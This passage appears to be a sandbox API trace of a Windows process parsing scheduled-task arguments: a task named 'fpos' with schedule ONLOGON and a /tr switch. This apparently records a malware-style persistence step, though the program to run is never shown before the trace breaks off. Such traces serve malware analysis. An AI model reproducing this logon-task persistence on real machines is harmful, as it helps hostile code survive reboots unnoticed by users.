[0086.006] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.006] lstrlenW (lpString="|create|") returned 8 [0086.006] lstrlenW (lpString="|tn|") returned 4 [0086.006] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0086.006] SetLastError (dwErrCode=0x490) [0086.006] lstrlenW (lpString="?") returned 1 [0086.006] lstrlenW (lpString="?") returned 1 [0086.006] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.006] lstrlenW (lpString="tn") returned 2 [0086.006] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.006] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|?|") returned 3 [0086.006] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.006] lstrlenW (lpString="|?|") returned 3 [0086.006] lstrlenW (lpString="|tn|") returned 4 [0086.006] SetLastError (dwErrCode=0x490) [0086.006] lstrlenW (lpString="s") returned 1 [0086.006] lstrlenW (lpString="s") returned 1 [0086.007] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.007] lstrlenW (lpString="tn") returned 2 [0086.007] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.007] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|s|") returned 3 [0086.007] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.007] lstrlenW (lpString="|s|") returned 3 [0086.007] lstrlenW (lpString="|tn|") returned 4 [0086.007] SetLastError (dwErrCode=0x490) [0086.007] lstrlenW (lpString="u") returned 1 [0086.007] lstrlenW (lpString="u") returned 1 [0086.007] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.007] lstrlenW (lpString="tn") returned 2 [0086.007] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.007] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|u|") returned 3 [0086.007] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.007] lstrlenW (lpString="|u|") returned 3 [0086.007] lstrlenW (lpString="|tn|") returned 4 [0086.007] SetLastError (dwErrCode=0x490) [0086.007] lstrlenW (lpString="p") returned 1 [0086.007] lstrlenW (lpString="p") returned 1 [0086.007] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.007] lstrlenW (lpString="tn") returned 2 [0086.007] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.008] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|p|") returned 3 [0086.008] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.008] lstrlenW (lpString="|p|") returned 3 [0086.008] lstrlenW (lpString="|tn|") returned 4 [0086.008] SetLastError (dwErrCode=0x490) [0086.008] lstrlenW (lpString="ru") returned 2 [0086.008] lstrlenW (lpString="ru") returned 2 [0086.008] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.008] lstrlenW (lpString="tn") returned 2 [0086.008] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.008] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|ru|") returned 4 [0086.008] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.008] lstrlenW (lpString="|ru|") returned 4 [0086.008] lstrlenW (lpString="|tn|") returned 4 [0086.008] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0086.008] SetLastError (dwErrCode=0x490) [0086.008] lstrlenW (lpString="rp") returned 2 [0086.008] lstrlenW (lpString="rp") returned 2 [0086.008] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.008] lstrlenW (lpString="tn") returned 2 [0086.008] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.008] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rp|") returned 4 [0086.008] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.008] lstrlenW (lpString="|rp|") returned 4 [0086.009] lstrlenW (lpString="|tn|") returned 4 [0086.009] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0086.009] SetLastError (dwErrCode=0x490) [0086.009] lstrlenW (lpString="sc") returned 2 [0086.009] lstrlenW (lpString="sc") returned 2 [0086.009] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.009] lstrlenW (lpString="tn") returned 2 [0086.009] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.009] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sc|") returned 4 [0086.009] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.009] lstrlenW (lpString="|sc|") returned 4 [0086.009] lstrlenW (lpString="|tn|") returned 4 [0086.009] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0086.009] SetLastError (dwErrCode=0x490) [0086.009] lstrlenW (lpString="mo") returned 2 [0086.009] lstrlenW (lpString="mo") returned 2 [0086.009] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.009] lstrlenW (lpString="tn") returned 2 [0086.009] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.009] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|mo|") returned 4 [0086.009] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.009] lstrlenW (lpString="|mo|") returned 4 [0086.009] lstrlenW (lpString="|tn|") returned 4 [0086.010] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0086.010] SetLastError (dwErrCode=0x490) [0086.010] lstrlenW (lpString="d") returned 1 [0086.010] lstrlenW (lpString="d") returned 1 [0086.010] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.010] lstrlenW (lpString="tn") returned 2 [0086.010] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.010] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|d|") returned 3 [0086.010] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.010] lstrlenW (lpString="|d|") returned 3 [0086.010] lstrlenW (lpString="|tn|") returned 4 [0086.010] SetLastError (dwErrCode=0x490) [0086.010] lstrlenW (lpString="m") returned 1 [0086.010] lstrlenW (lpString="m") returned 1 [0086.010] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.010] lstrlenW (lpString="tn") returned 2 [0086.010] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.010] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|m|") returned 3 [0086.010] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.010] lstrlenW (lpString="|m|") returned 3 [0086.010] lstrlenW (lpString="|tn|") returned 4 [0086.010] SetLastError (dwErrCode=0x490) [0086.010] lstrlenW (lpString="i") returned 1 [0086.011] lstrlenW (lpString="i") returned 1 [0086.011] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.011] lstrlenW (lpString="tn") returned 2 [0086.011] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.011] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|i|") returned 3 [0086.011] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.011] lstrlenW (lpString="|i|") returned 3 [0086.011] lstrlenW (lpString="|tn|") returned 4 [0086.011] SetLastError (dwErrCode=0x490) [0086.011] lstrlenW (lpString="tn") returned 2 [0086.011] lstrlenW (lpString="tn") returned 2 [0086.011] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.011] lstrlenW (lpString="tn") returned 2 [0086.011] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.011] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.011] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.011] lstrlenW (lpString="|tn|") returned 4 [0086.011] lstrlenW (lpString="|tn|") returned 4 [0086.011] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0086.011] SetLastError (dwErrCode=0x0) [0086.011] SetLastError (dwErrCode=0x0) [0086.011] lstrlenW (lpString="fpos") returned 4 [0086.011] lstrlenW (lpString="-/") returned 2 [0086.012] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0086.012] SetLastError (dwErrCode=0x490) [0086.012] SetLastError (dwErrCode=0x490) [0086.012] SetLastError (dwErrCode=0x0) [0086.012] lstrlenW (lpString="fpos") returned 4 [0086.012] StrChrIW (lpStart="fpos", wMatch=0x3a) returned 0x0 [0086.012] SetLastError (dwErrCode=0x490) [0086.012] SetLastError (dwErrCode=0x0) [0086.012] lstrlenW (lpString="fpos") returned 4 [0086.012] SetLastError (dwErrCode=0x0) [0086.012] SetLastError (dwErrCode=0x0) [0086.012] lstrlenW (lpString="/sc") returned 3 [0086.012] lstrlenW (lpString="-/") returned 2 [0086.012] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.012] lstrlenW (lpString="create") returned 6 [0086.012] lstrlenW (lpString="create") returned 6 [0086.012] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.012] lstrlenW (lpString="sc") returned 2 [0086.012] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.012] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|create|") returned 8 [0086.012] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sc|") returned 4 [0086.012] lstrlenW (lpString="|create|") returned 8 [0086.012] lstrlenW (lpString="|sc|") returned 4 [0086.012] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0086.012] SetLastError (dwErrCode=0x490) [0086.012] lstrlenW (lpString="?") returned 1 [0086.013] lstrlenW (lpString="?") returned 1 [0086.013] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.013] lstrlenW (lpString="sc") returned 2 [0086.013] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.013] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|?|") returned 3 [0086.013] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sc|") returned 4 [0086.013] lstrlenW (lpString="|?|") returned 3 [0086.013] lstrlenW (lpString="|sc|") returned 4 [0086.013] SetLastError (dwErrCode=0x490) [0086.013] lstrlenW (lpString="s") returned 1 [0086.013] lstrlenW (lpString="s") returned 1 [0086.013] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.013] lstrlenW (lpString="sc") returned 2 [0086.013] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.013] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|s|") returned 3 [0086.013] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sc|") returned 4 [0086.013] lstrlenW (lpString="|s|") returned 3 [0086.013] lstrlenW (lpString="|sc|") returned 4 [0086.013] SetLastError (dwErrCode=0x490) [0086.013] lstrlenW (lpString="u") returned 1 [0086.013] lstrlenW (lpString="u") returned 1 [0086.013] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.013] lstrlenW (lpString="sc") returned 2 [0086.014] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.014] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|u|") returned 3 [0086.014] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sc|") returned 4 [0086.014] lstrlenW (lpString="|u|") returned 3 [0086.014] lstrlenW (lpString="|sc|") returned 4 [0086.014] SetLastError (dwErrCode=0x490) [0086.014] lstrlenW (lpString="p") returned 1 [0086.014] lstrlenW (lpString="p") returned 1 [0086.014] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.014] lstrlenW (lpString="sc") returned 2 [0086.014] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.014] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|p|") returned 3 [0086.014] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sc|") returned 4 [0086.014] lstrlenW (lpString="|p|") returned 3 [0086.014] lstrlenW (lpString="|sc|") returned 4 [0086.014] SetLastError (dwErrCode=0x490) [0086.014] lstrlenW (lpString="ru") returned 2 [0086.014] lstrlenW (lpString="ru") returned 2 [0086.014] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.014] lstrlenW (lpString="sc") returned 2 [0086.014] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.014] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|ru|") returned 4 [0086.015] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sc|") returned 4 [0086.015] lstrlenW (lpString="|ru|") returned 4 [0086.015] lstrlenW (lpString="|sc|") returned 4 [0086.015] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0086.015] SetLastError (dwErrCode=0x490) [0086.015] lstrlenW (lpString="rp") returned 2 [0086.015] lstrlenW (lpString="rp") returned 2 [0086.015] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.015] lstrlenW (lpString="sc") returned 2 [0086.015] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.015] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rp|") returned 4 [0086.015] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sc|") returned 4 [0086.015] lstrlenW (lpString="|rp|") returned 4 [0086.015] lstrlenW (lpString="|sc|") returned 4 [0086.015] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0086.015] SetLastError (dwErrCode=0x490) [0086.015] lstrlenW (lpString="sc") returned 2 [0086.015] lstrlenW (lpString="sc") returned 2 [0086.015] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.015] lstrlenW (lpString="sc") returned 2 [0086.015] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.015] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sc|") returned 4 [0086.015] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sc|") returned 4 [0086.016] lstrlenW (lpString="|sc|") returned 4 [0086.016] lstrlenW (lpString="|sc|") returned 4 [0086.016] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0086.016] SetLastError (dwErrCode=0x0) [0086.016] SetLastError (dwErrCode=0x0) [0086.016] lstrlenW (lpString="ONLOGON") returned 7 [0086.016] lstrlenW (lpString="-/") returned 2 [0086.016] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0086.016] SetLastError (dwErrCode=0x490) [0086.016] SetLastError (dwErrCode=0x490) [0086.016] SetLastError (dwErrCode=0x0) [0086.016] lstrlenW (lpString="ONLOGON") returned 7 [0086.016] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0086.016] SetLastError (dwErrCode=0x490) [0086.016] SetLastError (dwErrCode=0x0) [0086.016] GetProcessHeap () returned 0x50000 [0086.016] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6d6a0 [0086.016] _memicmp (_Buf1=0x6d6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.016] lstrlenW (lpString="ONLOGON") returned 7 [0086.016] GetProcessHeap () returned 0x50000 [0086.016] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x10) returned 0x6d6c0 [0086.016] lstrlenW (lpString="ONLOGON") returned 7 [0086.016] lstrlenW (lpString=" \x09") returned 2 [0086.016] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0086.016] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0086.016] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0086.017] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0086.017] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0086.017] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0086.017] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0086.017] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0086.017] GetLastError () returned 0x0 [0086.017] lstrlenW (lpString="ONLOGON") returned 7 [0086.017] lstrlenW (lpString="ONLOGON") returned 7 [0086.017] SetLastError (dwErrCode=0x0) [0086.017] SetLastError (dwErrCode=0x0) [0086.017] lstrlenW (lpString="/tr") returned 3 [0086.017] lstrlenW (lpString="-/") returned 2 [0086.017] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.017] lstrlenW (lpString="create") returned 6 [0086.017] lstrlenW (lpString="create") returned 6 [0086.017] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.017] lstrlenW (lpString="tr") returned 2 [0086.017] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.017] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|create|") returned 8 [0086.017] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.017] lstrlenW (lpString="|create|") returned 8 [0086.017] lstrlenW (lpString="|tr|") returned 4 [0086.017] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0086.017] SetLastError (dwErrCode=0x490) [0086.018] lstrlenW (lpString="?") returned 1 [0086.018] lstrlenW (lpString="?") returned 1 [0086.018] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.018] lstrlenW (lpString="tr") returned 2 [0086.018] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.018] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|?|") returned 3 [0086.018] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.018] lstrlenW (lpString="|?|") returned 3 [0086.018] lstrlenW (lpString="|tr|") returned 4 [0086.018] SetLastError (dwErrCode=0x490) [0086.018] lstrlenW (lpString="s") returned 1 [0086.018] lstrlenW (lpString="s") returned 1 [0086.018] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.018] lstrlenW (lpString="tr") returned 2 [0086.018] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.018] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|s|") returned 3 [0086.018] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.018] lstrlenW (lpString="|s|") returned 3 [0086.018] lstrlenW (lpString="|tr|") returned 4 [0086.018] SetLastError (dwErrCode=0x490) [0086.018] lstrlenW (lpString="u") returned 1 [0086.018] lstrlenW (lpString="u") returned 1 [0086.018] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.019] lstrlenW (lpString="tr") returned 2 [0086.019] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.019] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|u|") returned 3 [0086.019] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.019] lstrlenW (lpString="|u|") returned 3 [0086.019] lstrlenW (lpString="|tr|") returned 4 [0086.019] SetLastError (dwErrCode=0x490) [0086.019] lstrlenW (lpString="p") returned 1 [0086.019] lstrlenW (lpString="p") returned 1 [0086.019] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.019] lstrlenW (lpString="tr") returned 2 [0086.019] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.019] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|p|") returned 3 [0086.019] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.019] lstrlenW (lpString="|p|") returned 3 [0086.019] lstrlenW (lpString="|tr|") returned 4 [0086.019] SetLastError (dwErrCode=0x490) [0086.019] lstrlenW (lpString="ru") returned 2 [0086.019] lstrlenW (lpString="ru") returned 2 [0086.019] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.019] lstrlenW (lpString="tr") returned 2 [0086.019] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.019] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|ru|") returned 4 [0086.020] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.020] lstrlenW (lpString="|ru|") returned 4 [0086.020] lstrlenW (lpString="|tr|") returned 4 [0086.020] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0086.020] SetLastError (dwErrCode=0x490) [0086.020] lstrlenW (lpString="rp") returned 2 [0086.020] lstrlenW (lpString="rp") returned 2 [0086.020] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.020] lstrlenW (lpString="tr") returned 2 [0086.020] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.020] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rp|") returned 4 [0086.020] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.020] lstrlenW (lpString="|rp|") returned 4 [0086.020] lstrlenW (lpString="|tr|") returned 4 [0086.020] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0086.020] SetLastError (dwErrCode=0x490) [0086.020] lstrlenW (lpString="sc") returned 2 [0086.020] lstrlenW (lpString="sc") returned 2 [0086.020] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.020] lstrlenW (lpString="tr") returned 2 [0086.020] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.020] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sc|") returned 4 [0086.020] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.021] lstrlenW (lpString="|sc|") returned 4 [0086.021] lstrlenW (lpString="|tr|") returned 4 [0086.021] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0086.021] SetLastError (dwErrCode=0x490) [0086.021] lstrlenW (lpString="mo") returned 2 [0086.021] lstrlenW (lpString="mo") returned 2 [0086.021] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.021] lstrlenW (lpString="tr") returned 2 [0086.021] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.021] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|mo|") returned 4 [0086.021] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.021] lstrlenW (lpString="|mo|") returned 4 [0086.021] lstrlenW (lpString="|tr|") returned 4 [0086.021] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0086.021] SetLastError (dwErrCode=0x490) [0086.021] lstrlenW (lpString="d") returned 1 [0086.021] lstrlenW (lpString="d") returned 1 [0086.021] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.021] lstrlenW (lpString="tr") returned 2 [0086.021] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.021] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|d|") returned 3 [0086.021] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.021] lstrlenW (lpString="|d|") returned 3 [0086.022] lstrlenW (lpString="|tr|") returned 4 [0086.022] SetLastError (dwErrCode=0x490) [0086.022] lstrlenW (lpString="m") returned 1 [0086.022] lstrlenW (lpString="m") returned 1 [0086.022] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.022] lstrlenW (lpString="tr") returned 2 [0086.022] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.022] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|m|") returned 3 [0086.022] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, 